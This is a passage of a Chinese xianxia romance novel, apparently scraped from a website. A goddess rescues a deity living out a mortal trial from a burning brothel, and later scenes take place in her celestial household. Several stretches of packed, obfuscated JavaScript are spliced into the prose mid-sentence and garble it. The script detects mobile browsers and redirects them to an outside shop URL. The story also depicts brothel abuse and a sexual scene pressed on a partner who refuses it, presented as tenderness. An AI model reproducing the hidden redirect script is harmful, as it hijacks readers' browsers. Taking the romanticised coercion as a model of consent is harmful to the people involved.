青楼里的花公个个心狠手辣,对付不听话的新人,有的是办法,饿饭,鞭打,关黑屋,喂药......直到你屈服。 这里就是个吃人不吐骨头的魔窟,进来了就别想干干净净地出去。 绝望之中,沈渡开始期盼死亡。 期盼一场大火,一场瘟疫,一场天灾......什么都好,只要能结束这一切。 然后在一个寻常的夜晚,他期盼的结束真的来了。 那夜,楼里灯火通明,笙歌不绝。 沈渡被关在顶层最偏僻的房间里单独囚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241432|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁,除了送饭,不许任何人接近。 他蜷缩在角落,听着楼下传来的调笑声,丝竹声,劝酒声,只觉得恶心。 忽然,外头传来一阵骚动,起初只是零星几声惊叫,很快便演变成恐慌的嘶喊: “走水了!走水了!!” “快跑啊——” “救命!!” 沈渡猛地坐起身,透过门缝,他看见外头走廊上火光冲天,浓烟滚滚,木质楼梯被火焰吞噬,发出噼里啪啦的爆裂声,呛人的烟味钻进鼻腔,辣得他眼泪直流。 倌儿衣衫不整地往外逃,客人们连滚带爬地往楼下冲,哭喊声,惨叫声,求救声交织在一起,宛如人间炼狱。 沈渡却没有动,他静静地坐在角落里,看着门缝外越烧越旺的火焰,嘴角竟浮起一丝解脱的笑意。 希望这火烧得再猛烈些,反正......他对这人世间也没有念想了。 唯一遗憾的是,死之前没能见到母父和姐姐一面。 这样也好,若是被母亲父亲得知自己的遭遇,定会心痛万分,不如让他们以为,他在舅舅家过得很好,平安顺遂。 至少还能留点念想。 浓烟越来越重,呼吸越来越困难,意识开始模糊,就在他以为自己即将死去时,一道紫色的光忽然穿透浓烟,照进房间。 那光并不刺眼,温润柔和,如初升的朝阳,光芒所过之处,火焰退避,浓烟消散,连灼热的空气都变得清凉。 模糊中,一道身影踏光而来。 是个女子。 穿着一身浅紫色的广袖长裙,衣料似云似雾,在火光下流转着梦幻般的光泽,她长发未绾,如墨般披散在肩头,发间没有任何装饰,却比任何珍宝都更显华贵。 最奇异的是她的眼睛,是紫色的。而此刻那双紫眸正静静望着他,眼底掠过一丝极淡的惊讶。 沈渡想,自己一定是死了,所以才能看见神仙。 他呆呆地看着她,看着这个在绝境中出现的“神仙”。 女子走过来,在他面前蹲下。 距离近了,沈渡才看清她的脸,那张脸上每一处线条都完美得挑不出一丝瑕疵,却又冰冷得不带半分情绪,像用冰雪雕成的神像,美得惊心动魄,却也冷得令人心悸。 她伸出手,指尖轻点他的眉心。 一股清凉的气息涌入体内,喉咙的灼痛瞬间缓解,呼吸也变得顺畅,连方才被浓烟呛出的眼泪,都奇迹般地止住了。 沈渡怔怔地看着她。 他想说“不用救我”,想说“让我死吧”,想说“这人间不值得”。 可最终,他什么也没说。 因为在那双紫眸的注视下,他忽然觉得活着或许也没那么糟。 随后他身子一轻,被神仙抱了起来,周围的火焰浓烟变得模糊,只能看清那双平静无波的紫眸。 意识丧失的前一刻,他只觉得,神仙身上有一股清透的气息,像是从一片炙热中走进了雪松树林,被满身清冷的月光洒在身上,既安逸又寂静。 16. 第十六章 云渡苏醒已是几天后。 他醒来发现自己躺在一张陌生的床上,身上盖着棉被,屋子很古朴,陈设简单,不像是有钱人家,窗外有鸟鸣声传来,清脆悠扬,没了市井的嘈杂,倒显得格外寂静。 云渡躺了一会儿,才慢慢坐起,他垂眸看着自己,浑身上下完好无损,仿佛没经过那场大火般,连在楼里被折磨受的伤和疤痕都消失得无影无踪,身上的衣裳也格外崭新,虽不是绫罗绸缎,贴着皮肤也格外舒适,不知是什么料子。 蓦然想到那位“神仙”,他不由得倒吸一口气,慌忙下床,赤脚跑到门边,一把推开那扇陈旧的木门。 推开木门,他的脚步逐渐趋向缓慢,最终停在原地,踌躇不前。 门外是一个小小的院子,院中央有一棵巨大的桂花树,树干粗壮枝叶繁茂,或许是正值花期,满树金黄下,花香浓郁得几乎化不开。 树下摆着一张竹制躺椅,旁边还有一张小木桌,桌上放着一只茶壶,两只茶杯。 而躺椅上,一位身着白色素衣的女子正阖着双目小憩。 阳光透过桂花树的枝叶,在她身上洒下细碎的光斑,仿佛是知道他醒来,荡起一阵柔软的风,吹落了树上的桂花,洋洋洒洒地落在她肩头,发间,她也浑然不觉。 云渡下意识屏住呼吸,向院中走去。 离得越近,他越能看清那张容貌。 她的睫毛很长,在眼下投出浅浅的阴影,鼻梁挺直,唇色淡如初樱,皮肤白得近乎透明,在阳光下泛着玉一般温润的光泽。 好看的......不像凡人。 他不知不觉越走越近,越过了该有的安全距离,近到能看清她脸上细小的绒毛,能数清她根根分明的睫毛,能闻到她身上那股似雪似松的香气。 “醒了?” 池瞳仍闭着眼,问。 云渡吓得一哆嗦,脚下一绊,“扑通”一声跌坐在地上,荡起一片细小的灰尘。 他脸涨得通红,磕磕巴巴的答:“......醒了。” 听到他的回答,池瞳终于睁开眼睛,从躺椅上坐起身,看向坐在地上的云渡。 也就是这时,云渡才想起昨晚看到的那幕。 她的眼睛是紫色的。 是异邦人吗? 或者...... “你......你是神仙吗?” 池瞳被他这说法逗得轻笑了声。 她看着记忆全无的云渡,心道你才是神仙。 云渡被她的笑声弄得羞红了脸,自觉自己说错了话。 也是,这世上哪有什么神仙?不过是话本里杜撰出来哄骗孩童的罢了。若真有,这人世间便不会有那么多不公之事,不会有那么多苦命之人了。 他低下头,手指无意识地绞着衣摆,耳根红得发烫。 池瞳站起身,她在这里陪了云渡三日,也该回去了。 不知经过这一变数,云渡的情劫是否会改变。 “你便在此处好好休养,我走了。” 云渡蓦地瞪大眼睛,怎么好好的,就要走了? 走了......就再也不回来了吗? 他不由得感到一阵失落,但又不知如何挽留。 骤然间,脑子里回闪过在青楼时花公教导的挽留女子的招数,他虽没真正实践过,可看得多了,也记住了些皮毛。 云渡咬咬牙,拍拍屁股站起来,飞奔向即将消失在门外的那道身影,从身后紧紧抱住了她。 云渡手臂环上她的腰,脸埋在她背上,鼻尖萦绕着那股清冷的香气,他的心跳如擂鼓,声音却放得极软极轻,带着小心翼翼的试探: “恩人,”他有些扭捏,“那个地方被火烧了,我无家可归了......您能不能,将我带走?” 话音落下,院中一片寂静,只有风吹过桂花树的沙沙声。 池瞳的脚步停住了,她下意识舔了舔唇,转过身,紫眸一眨不眨地看向他。 云渡的手臂还环在她腰间,被她这一转,变成面对面相拥的姿势,他慌忙想松手,可池瞳却按住了他的手腕,让他维持着这个亲密的姿态。 云渡莫名感到一丝恐惧,垂下头,不敢直视她,方才的大胆消失殆尽,只留下满身的羞耻和难堪。 若是他有记忆,即使对山海主的面容再模糊,但看到那双闻名六界的紫眸时,也该望而生畏了,更不必说说出这番大胆之语。 池瞳又望向天,思索着。 云渡的这次情劫,应是被写好的才对,身为上神,渡劫时所托生的人家,定是非富即贵,一生顺遂,缘何流落青楼? 流落青楼就算了,若是这场大火使其丧命,情劫提前结束,回归神界,那就是天道的失误,为了拨乱反正,她救下他也是理所应当,可是......是否会将本就写好的命运改变? 这种失误池瞳不是第一次遇到,也习惯了帮天道收拾烂摊子,但...... “你是何年何日进的青楼?”她问,声音听不出情绪。 云渡浑身一僵,骤然抬头,神色有些慌张。 她问这个做什么? 是嫌弃他出身青楼,觉得他脏,不配跟在她身边吗? “恩人,我虽然在青楼,可是从未接过客!花公为了把我卖个大价钱,一直将我关着,不许旁人碰我,我......我不脏的!” 话说出口,他自己先怔住了。 身处青楼那种地方,哪还有什么“干净”可言?即便身体未破,可心呢?灵魂呢?早就在那些日夜的羞辱中,被染得污浊不堪。 她会信吗? 云渡看着池瞳平静无波的脸,心一点点沉下去。 原来她救了他,却不将他带在身边,是因为嫌他脏。 他缓缓松开环在她腰间的手,后退一步,低下头,声音很轻:“对不起。” 他不该痴心妄想的。 他回答地驴唇不对马嘴,池瞳没听到想要的答案,也不再继续追问下去,只是温柔地理了理他凌乱的发丝,“为何想让我带你走?” “因为......”云渡眼神闪烁,犹豫着该如何回答。 因为她救了他。 因为她给了他第二次生机。 因为除了跟着女人,他不知道自己该如何活下去。 可这些理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254793|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由太单薄,太苍白。 就在他踌躇之时,池瞳忽然转身,似乎要离开。 “等等——”云渡急了,也顾不上什么羞耻,什么矜持,什么配不配得上,他只知道如果让她就这么走了,他这辈子可能再也见不到她了。 “因为我喜欢你!”他坦诚道,声音在寂静的小院里回荡,惊起了枝头栖息的麻雀。 池瞳听到这声告白,回过身,紫眸渐深,复杂地看着面前没有记忆的云渡。 若她没猜错,这应该是云渡最后一个神劫。 她知道云渡,云渡天资聪慧,当初飞升仙界时,便一路青云,连跳数个仙阶,而后更是在众仙的惊讶之中,势如破竹地升入神界。 天道降下的神劫,也全都毫发无伤的回来了,放眼神界,这样的存在寥寥无几。 说是神界不可多得的天才也不为过。 其资质比刚继位的天帝还出众。 说实话,池瞳是不愿与他有过多牵扯的。 若不是那场大火,她或许永远都不会与他有交集。 紫眸落在那张写满少男怀春的脸上,内心反复挣扎。 她没有折神的癖好。 云渡看她还在纠结,索性一不做二不休,直接踮起脚,吻上了她的唇角。 动作生涩,莽撞,甚至撞疼了她的牙齿。 吻上后他又开始后悔,慌忙想退开,可下一秒后颈被一只冰冷的手掌扣住。 池瞳低下头,擒住他的唇,反客为主地吻了回去,她撬开他的唇齿,舌尖探入,熟练地勾缠,吸吮,云渡僵在原地,大脑一片空白,只能被动地承受。 呼吸渐渐乱了,腿脚发软,整个人摇摇欲坠,几乎要向后跌去,腰间覆上一只手掌,又将他牢牢揽回怀中。 吻得更深,更重。 仿佛要将他整个人吞没。 不知过了多久,池瞳终于松开了他。 云渡大口喘着气,眼角泛红,嘴唇微肿,眼神迷离地看着她,整个人还沉浸在方才那个激烈的吻中,回不过神。 许久,才小心翼翼地问:“恩人......您愿意带着我了吗?” 他这副样子太可怜太卑微,让池瞳想起很多年前云渡飞升神界时的情景。那时的云渡白衣胜雪,站在众神中央,接受着四方恭贺,脸上却宠辱不惊,只有偶尔听到旁神过分夸张的赞美时,他才会抿唇轻笑。 少年意气,莫过如此。 若是没有这场变故,按照天道原本的安排,他此生的情劫,该是生在富贵之家,受尽宠爱,平安顺遂地长大,遇到心仪的女子爱恨纠缠,最后历尽万难修成正果。 再怎么也不会像此刻这般,卑微地仰望着她,小心翼翼地乞求一个被带走的机会。 想到此处,池瞳捏着他白皙柔软的下巴,轻轻向上抬起,迫使他与自己对视。 若是回到神界,恢复记忆,天子骄子般的云渡,还能顶着上神的身份,这般向自己撒娇吗? 这个答案让池瞳格外好奇,于是给了他答案:“好。” “以后,我便是你的妻主。” 云渡,这可是你自找的,往后别怨我。 17. 第十七章 回忆至此,云渡的瞳孔缓缓聚焦,他抬起那只受伤的手,看着手指上滑稽的白色布条。 这伤口其实不算深,但凡人身躯太薄弱,待完全恢复至无暇,不知要多久。 云渡垂下眼睫,指尖轻轻抚过那层粗糙的布条。 她回来后看到,会不会生出片刻心软?留下多陪他些时日? 云渡心中隐隐期待着。 他扶着身后的灶台,缓缓起身,维持着一个姿势太久,半边身子都麻了,云渡刚准备直起身,又不受控制地向下滑落,可预想到的疼痛并未发生。 他没有摔倒在地,而是跌进了一个陌生的怀中。 这并不是他所熟悉的怀抱,而是透着一股阴冷气息,令人不适的怀抱,那手臂不容挣脱地环在他腰间,力道不轻不重,却令他胃里一阵翻涌的作呕。 云渡强撑着双手支撑灶台边缘,猛地发力挣脱出了那个怀抱,却不想那双手依旧虚虚搭在自己身侧,仿佛随时会笼罩上来。 “滚!”他冷呵道。 那双手顿了下,最后还是听话地收了回去。 屋内光线昏暗,灶台旁堆着柴火,墙角的阴影格外浓重,而此刻,那片阴影里隐约立着一道身影,看不清其面容,只有一双眼睛在黑暗中泛着光,直直地盯着云渡。 像潜伏在暗处的毒蛇。 她声音略显嘲讽:“云渡上神,可别忘了我家大人交给你的任务。” 云渡没有看向那片阴影,只是垂眸看着自己受伤的手,指尖轻触着渗血的布条,他嘴角轻扯:“我自会按计划行事,让你家大人无需操心。” 阴影里传来一声低笑。 “但愿如此。” 话音落下,那道身影便消失在黑暗中,仿佛从未出现过,只留下空气中那令人作呕的气息。 云渡静静站了许久,直到确认那气息彻底消散,才缓缓松开紧握的拳头,掌心已被指甲掐出深深的血痕,他垂下眼,忽然觉得可笑。 离开池瞳,他好像失去了活着的意义。 —— “这小孩有何特殊之处?竟能让大人给他封上禁文?”白芷托着下巴,歪着头,一眨不眨地盯着墨璃身上那些流动的禁文,疑惑发问。 “呵。”辛月轻哼一声,没给出答案。 白芷怪异地瞥了辛月一眼,又转回去直直看着墨璃,上下打量着,过了一会儿,她忽然开口,“这样貌虽好,但我觉得,比起那位来说,还是略输一筹。” “那位是谁?!池瞳还有别的男人?!”墨璃站得不远,耳朵不聋,自然能听见这话,此刻猛地朝白芷看去,眼睛瞪得圆溜溜的,一副要生气的模样。 白芷狡黠一笑,故意拖长声音,慢悠悠道:“那是当然.......不是啦!”话到一半在她嘴里拐了个弯,见到突然出现在墨璃身后的熟悉身影,她讪讪一笑,开始找补:“我家大人一向清心寡欲,你可是这么多年来唯一一个她带回家里的男人!独一无二,绝无仅有!” 她声音陡然拔高,有欲盖弥彰之嫌,墨璃并不好糊弄,狐疑道:“那你说的‘那位’是哪位?竟还有比我还要好看之人?” 白芷连忙摆手,“不是不是!萝卜青菜各有所爱,我觉得好看的也许大人不觉得好看,辛月你说是不是?”她转头看向辛月,想拉辛月下水,替自己分担火力,却没想到身边已空无一人。 再看向前方,辛月不知何时已悄无声息地挪到池瞳身侧,一副“与我无关”的样子不痛不痒地站在哪。 白芷心底暗骂一声,只能连忙改口:“刚才是我眼花了,这样一看,你比他好看多了!” 语气诚恳,眼神真挚,仿佛刚才那句“略输一筹”不是她说的。 池瞳看着白芷这副上蹿下跳的模样,轻轻摇了摇头。 她挥手将墨璃身上的禁文压下,微扯嘴角:“不是眼花,我看是眼瞎了。” 白芷:“......”她什么时候又惹到她家大人了?怎么上来就对她冷嘲热讽?? 白芷欲哭无泪,转头看向辛月,用眼神求救,她到底做错什么了? 辛月耸了耸肩,表示她也不知道。 白芷叫苦不迭,正想胡扯几句,打马虎混过去,谁料池瞳上前轻轻揽住墨璃的腰,在他耳边轻声道:“你先回殿里,我解决完再来看你。” 白芷:是要解决她吗? 墨璃看到池瞳先是一阵惊喜,而后又泛起些委屈,小声嘟囔道:“你不应该先哄我吗?我不要你教训她......” 教训别人哪有哄自己重要! 而且,他整整半天没有见到池瞳了! 半天!在人界可是半年! 他这副骄矜的模样在池瞳看来像是撒娇,于是俯身轻轻吻了吻他的额角,“听话。” 墨璃纠结地看了眼池瞳,又看了眼白芷,最终还是心不甘情不愿地松了手, “那你快一点。”他一步三回头,“我等你。” 直到墨璃的身影消失在主殿方向,白芷才终于松了口气。 可这口气还没松完,她又绷紧了神经,直觉告诉她,池瞳的心情并不像表面这般平和。 果然,那双紫眸玩味地盯着她,说:“把他喊过来。” “他?谁啊?”白芷依旧装傻,“主您在说什么?我怎么听不懂?”一副视死不招的模样。 辛月扶额叹息,白芷这家伙,真是越来越滑溜了,现在竟敢在主面前也这样。 不过池瞳并未生气,只是静静看着白芷,“你想让我亲自去召他?” 山海主亲自去召唤,那意义就完全不同了。 “不不不!哪敢劳烦主亲自去!我这就叫他!这就叫!”白芷连连摇头,只得开启神识,唤人来。 池瞳看着,她也不敢通过神识多说什么,但饶是如此,那边的人一听到池瞳喊,还是吓了一跳。 不过几息,一道金光自天际破空而来,那金光气息纯正,带着无上威严,穿透山海殿外的结界,如流星般坠落,在环池边凝成一道身影。 是个身着金衣的男子,看起来不过十六七岁年纪,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池瞳眼底无波无澜,只是道:“都起来吧。” 白芷如蒙大赦,麻溜地从地上站起来,拍了拍膝盖上并不存在的灰尘,转身就去拉还跪在地上的天帝。 天帝借着她的力道,正要站起,可双腿跪得久了,血脉不通,刚站到一半,膝盖一软。 “哎呀!”整个人不受控制地向前跌去,不偏不倚,正跌进白芷张开的怀抱里。 白芷下意识收紧手臂,将他牢牢接住,两人抱了个满怀。 池瞳:“......” 辛月:“......” 两人对视一眼,都在对方眼中看到了同样的无语。 想当初天帝刚继位时,因触犯天规被罚在山海殿前跪了整整三天三夜,起身后虽脸色苍白,步履虚浮,可背脊依然挺得笔直,仪态分毫不乱,何曾像眼前这般娇弱无力? 白芷显然也忘了这茬,她看着怀里脸色微红,眼眶湿润的天帝,心疼得不得了,连忙伸手去揉他的膝盖:“疼不疼?跪了这么久膝盖都青了吧?”仿佛怀里的是个易碎的瓷娃娃。 池瞳默默移开视线。 她叫天帝来本是有正事要问,可被这两人一闹,什么心情都没了。 罢了,反正背地里再如何翻腾也不会荡起什么火花,倒不如静观其变。 池瞳摆摆手,有些倦了:“你们先走吧。” 18. 第十八章 天帝眼睛倏地一亮,扶着白芷的手臂站稳,而后小心翼翼地问:“师尊,您不生气了吗?” 他跟白芷之间,无论是阅历还是年纪,都相差甚远,尤其是成为天帝后,池瞳多次教导他,让他专心于提升修为,早日成为合格的天帝,勿要沉迷于风月,从而忘了正事,即便是下凡历劫,池瞳也是让他快速回来,不要跟凡人牵扯太多。 先天帝,也就是他的母亲,便是因为爱的太深,所以在父亲死后,选择放下一切自毁神脉,结束了这永生。 先天帝自毁神脉前还曾对他说,失去爱人的永生不是永生,而是无尽的痛苦,想念会随着世间的推移渐渐消失,随后在这漫长的时光里,忘掉爱人的一切。 所以他还以为,池瞳知道自己与白芷在凡间相爱,甚至延伸到天上后,会生气,因此拆散她们,让他不要步先天帝的后尘。 处于情爱中会影响修炼,不利于提升修为,所以大部分晋升到神界的神,修的都是无情道。 池瞳瞥了他一眼:“为何生气?” 也是,白芷身为师尊最看重的下属,自己跟白芷在一起,也不算是沉迷风月吧? 天帝抿了抿唇,犹豫片刻,还是鼓起勇气问:“那......您同意我和白芷姐姐在一起了吗?”他想要获得池瞳口中的许可。 池瞳不吭声,白芷也向她看了过来,只是那双眼睛里丝毫没有同样的期待,反而是一阵惶恐。 池瞳自是知道这表情代表着什么意思,白芷从来都是万花丛中过片叶不沾身,现如今却经天帝这一番感人肺腑的旷世情意中,获得了池瞳的许可,也就是相当于得到了一份天地契,那未来几百年,或是永世,都只能跟天帝捆绑在一起了。 这对于白芷来说,未免也太恐怖了。 池瞳有心惩治白芷,于是在面对她求救的眼神时,微微一笑:“自然同意。” 砰—— 白芷眼里的光彻底碎了。 可她也无法说什么,只好听着身边的天帝欣喜若狂地道:“谢师尊成全。” 就在白芷以为这件事尘埃落定之时,池瞳忽然看向她。 “白芷,抽空去趟汤谷,将扶桑树上的太阳给安回去。” “......好。”她还以为池瞳要收回方才的话,谁知不是解救她!而是让她安太阳!害她白高兴一场。 不对,她家大人什么时候把扶桑树上的太阳打落了? 不会是因为她吧??! 两人走后,池瞳随手换了身衣裳,刚才那件沾满了凡间烟火气,很容易被墨璃察觉,若是他闻到后开始吵吵嚷嚷,就更令人头大了。 这时,辛月走上前,低声问:“主,土蝼和钦原的事,还继续查吗?” 池瞳垂眸,理了理袖口,缓缓摇头:“不必了,让她们再玩会儿。” 一个一个收拾太麻烦了,倒不如等她们都跳出来,最后一网打尽。 她真的没耐心像以前那样陪她们慢慢耗着玩了。 主殿内,墨璃站在床旁来回转圈,双手叉腰,腮帮子鼓得圆圆的,像只充了气的河豚,他自顾自地表演了半天,势必要在池瞳回来时摆出最生气的模样,质问她为什么抛下自己这么久,然后趁机要挟她多陪自己几日。 虽然他知道池瞳平日也是有要紧事干的,不可能整日在家陪他,但他还是心里不平衡。 凭什么她想来就来,想走就走? 凭什么他就得乖乖待在这座冷清的宫殿里,等她偶尔的垂怜? 他也是有脾气的! 墨璃越想越气,腮帮子鼓得更高了。 就在这时,殿门被轻轻推开,一道白色的身影缓步走来。 墨璃浑身一僵,刚才那股“势必要大闹一场”的气势瞬间烟消云散。 他像只被戳破的气球,整个人蔫了下去,虽然还鼓着腮帮,但双手开始无意识地松开叉腰的姿势,想要放回身侧。 池瞳一进门,就看见他这副双手叉腰,双颊鼓鼓的,眼睛瞪得圆溜溜,一副“我很生气快来哄我”的可爱模样。 她忍不住轻笑出声,走到榻边,伸出手指轻轻戳了戳他鼓起的脸颊。 “噗——” 墨璃憋了半天的气,瞬间泄了。 他“哎呀”一声,捂着被戳的脸颊,往后退了退,一屁股坐回榻上,眼神幽怨地瞪着池瞳,“妻主,你怎么现在才回来?” 他丝毫不觉得自己的语气有多么僭越,这分明是正室质问妻主是否出去鬼混的语气。 可现实是墨璃虽叫池瞳妻主,但两人尚未结契,这个叫法若被知情人知道,定会不屑于墨璃,觉得他不知羞耻。 池瞳刚因白芷和天帝的事搞得心情不佳,此刻见到墨璃这般鲜活灵动的模样,心底那点烦闷竟散去了大半,她捏了捏墨璃柔软的脸颊,声音不自觉地放轻了些:“我有事要办,这段时间可能都不在。” 回山海殿几个时辰,在人界便过数月,来回太麻烦,倒不如直接在人界待到云渡回神界。 云渡不喜衰老之态,以他的性子,无需太久,便能回神界。 “啊——”墨璃一瞬间蔫了下去,整个人都无精打采的,连声音都闷闷的,“那我可以走吗?我想去妖界找表哥玩。” 池瞳想都没想,直接驳掉:“不行。” “为什么?”墨璃探究地抬起眼,眼中满是不解。 池瞳看着他,紫眸平静,“妖界最近很乱,想必你表哥也自顾不暇,更何况是带上你,况且,待在这里不好吗?这里有那么多人照顾你。” 妖界很乱? 墨璃惴惴不安,那表哥会不会有事? 他心中涌起不安,下意识抓住池瞳的衣袖,“妻主......那你能不能把表哥也带到这里?我怕他在妖界不安全。” 池瞳又轻轻摇头:“妖界动荡是上层的事,不会波及到寻常妖族,你表哥不会有事的。” 墨璃抿了抿唇,刚才还说表哥会自顾不暇,现在又说不会波及,女人的嘴真是一会一个变。 他在心里默默吐槽。 说到底,他还是不想待在山海殿:“这里全是傀儡人,没意思的很。” 池瞳立刻道:“我留辛月陪你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263902|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 墨璃:“......” 难道这无聊是有人陪就能解决的吗?况且还是别的女人......池瞳就这么放心,让别的女人陪他? 再说了,辛月压根不会理自己,每次说话都离自己八丈远,有那个禁文在,旁人根本靠近不了他。 墨璃撇撇嘴,有些生气,“那你把我身上的禁文给解了。” 池瞳依旧拒绝:“不行。” “这也不行,那也不行!”墨璃烦躁的拱进被子里蒙住头,大喊:“那你说什么可以?!” 池瞳伸出手,没用力,只是象征性地捞了捞,没把人捞出来也不勉强,“老老实实的待在家里等我回来,这件事可以。” 床上鼓起的包不为所动,装死。 池瞳又补充道:“这里很大,所有地方你都能去,哪怕是跳进绿海里游两圈都行,只要不出去,怎样玩都可以。” 床上鼓起的包动了动,被角被悄悄掀开一条缝,一双圆溜溜的眼睛从缝隙里露出来,看向池瞳,“真的?” 他一出殿辛月就会跟在他身后,想去哪都拦着,一板一正地说这里不能去那里也不能去。 “真的。”池瞳点头。 墨璃从被褥里坐起来,“可是辛月不让我去。” 池瞳:“我会吩咐辛月,不再限制你。” “那好吧。”墨璃终于肯冒出来了,他“哗”地掀开被子,正准备下床,肩膀却被一双手轻轻按住。 墨璃一怔,抬头望去,正对上池瞳那双不知何时已变成金色的眸子。 墨璃下意识咽了口唾沫,“你......你不是有正事要办吗?” “快去啊。”他小声催促。 池瞳微微一笑,俯身靠近:“不急。” 方才那一瞬间,她突然生出了个绝妙的主意,只要把墨璃在床上治得服服帖帖,不施消痛咒,让他疼的动弹不得,那便能老老实实待在家里等她回来了。 墨璃看着池瞳眼中那抹越来越深的笑意,心中警铃大作。 他想逃,可肩膀上的手看似轻柔,却蕴含着不容抗拒的力量将他牢牢定在原地。 “池瞳......”他声音发颤,“你想干什么?我今天不想做那事。” 虽然那事没有第一次那么痛了,可还是会荡起深入灵魂的痛楚,像在重塑灵魂。 池瞳没有说话,只是低下头吻住了他的唇。 这个吻温柔却不容拒绝,像一张缓缓收紧的网,将他一点点拖入深不见底的漩涡中。 墨璃想挣扎,可身体却像被抽空了力气,软绵绵的,使不上劲,只能被动地承受。 直到衣衫褪尽,肌肤相贴,灵魂中那熟悉的疼痛袭来时,他还是没忍住,哭出了声。在彻底失去意识前,墨璃恍惚听见,池瞳在他耳边轻声说:“乖,等我回来。” ...... 池瞳看着怀中昏睡过去的人,轻轻将他放平,盖好被子,而后坐在榻上,指尖温柔地抚过他眼角的泪痕,眼神却一片平静。 随后她起身,整理好微乱的衣襟,转身离去。 19. 第十九章 池瞳下凡时,人界已是盛夏,距离上次请天赐福降雨,又过一年。 时节更迭,光阴流转,对于她而言不过弹指,可对于这人间,以及那个在竹院中苦等她归来的人而言,却是整整一百多个日夜。 她站在空荡的院中,细看才发现,这小院竟与第一世别无二致,就连院中央的那颗桂花树的生长方向都一样,若非是她恰巧回忆起云渡第一次历劫的种种细节,恐怕直到这一世结束,依旧难以察觉。 只是人界经历如此漫长岁月,这树干脉络千般变化,早已不同了。 她在院中踱步,打量着云渡装饰院子的花花草草,姿态随意。 直到看到那一株开的正盛的紫色银莲花,才缓缓停下。 这花神界也有,生于瑶池畔,花开时紫光流转,如梦如幻,云渡第一世结束后,曾特意去瑶池边采过几株,种在自己的神府里,后来池瞳第二世下凡,他曾提起过,说紫色银莲花的颜色,很像池瞳的眼睛。 那时的云渡,眼神还格外清澈,丝毫没有历劫失败的颓败,只当第一世是场美好绚烂的梦。 池瞳伸出手,指尖轻拂银莲花的花瓣。 “哐当——” 只听一道水壶落地的闷响,伴随着一声短促的惊叫。 刚从水房出来的小侍猛地见到院中多出的人,吓得一屁股坐在地上,“你是谁!?怎么出现在我家院中?” 听见动静,池瞳这才从银莲花中抬眼,转身投向不远处的小侍,却没有回答他口中的问题,只是反问道:“云渡呢?” 小侍看到半年未出现的池瞳猛地出现在院中,内心纵有千般海浪,仍是先快速从地上爬起来,整理了下衣摆,弯腰去捡倒地的水壶。 他动作有些慌乱,声音却恭敬了许多,回:“我家主子去上朝了,今日他当值,约莫到晚上才会回来。” 皇帝是在池瞳离开后不久特许云渡上朝的,起初小侍也大为震惊,放眼天下,何曾有过男子入朝参政的先例?可陛下力排众议,硬是将这份殊荣给了自家主子。 时间久了,小侍也从最初的惊疑不定,渐渐变得习以为常,眼下说起“上朝”二字,语气平静,也没觉得有什么不妥。 “是吗,”池瞳平淡地说了句,她来到中央那棵巨大的桂树下,在底下那张藤椅上缓缓坐下,然后抬眸看向小侍,温和地问:“他是何时开始上朝的?” 小侍一听她这样问,以为是池瞳对自家主子的能力给震惊到了,分外得意地开口:“您走后不久,陛下就下旨特许我家主子上朝议政了!当时朝堂上反对的人可多了,说什么‘阴阳颠倒’。” 他说着,脸上露出骄傲的神色:“可我家主子的能力那是有目共睹的!是男子又如何?谁说男子就一定不如女子?” “而且,自从我家主子上朝后,解决了好多百姓间的难题,现在皇宫里,哦不,应该说是全京城,谁不知道我家主子的才能?”小侍说着,故意顿了顿,语气里带着几分试探,“这些事您没听说过吗?” 他对这个来路不明、神出鬼没的女子一直心怀不满,尤其是这半年,自从这女子不告而别后,主子就像变了个人,终日郁郁寡欢,对什么都提不起兴致。陛下赏赐的绫罗绸缎和金银珠宝,他看都不看一眼,朝中同僚的邀约,他也一概推拒。 整个人像丢了魂似的,只有坐在院里桂花树下发呆时,眼中才会偶尔闪过一丝微弱的光。 他也曾提议让自家主子去找这女子,毕竟他家主子可是国师,要找一普通女子又有何难?但主子却说,她若惦记着他,自会早早归来。 可这一等便是半年,小侍还以为此人为始乱终弃的渣女,早就把他家主子给忘了。 谁知今日她又出现了。 池瞳自然听出他话有不满,但是依旧没有太大反应,也不作何解释,只是抬起手,指尖轻轻点了点旁边的小木桌,示意小侍给自己沏茶。 小侍不情愿地走过去,从屋里取出茶具茶叶,在木桌旁蹲下,开始烧水、温杯、洗茶、冲泡。 没办法,谁让这人虽是软饭女,但毕竟是他家主子等了半年的心尖上的人,若是怠慢,主子也会不高兴的。 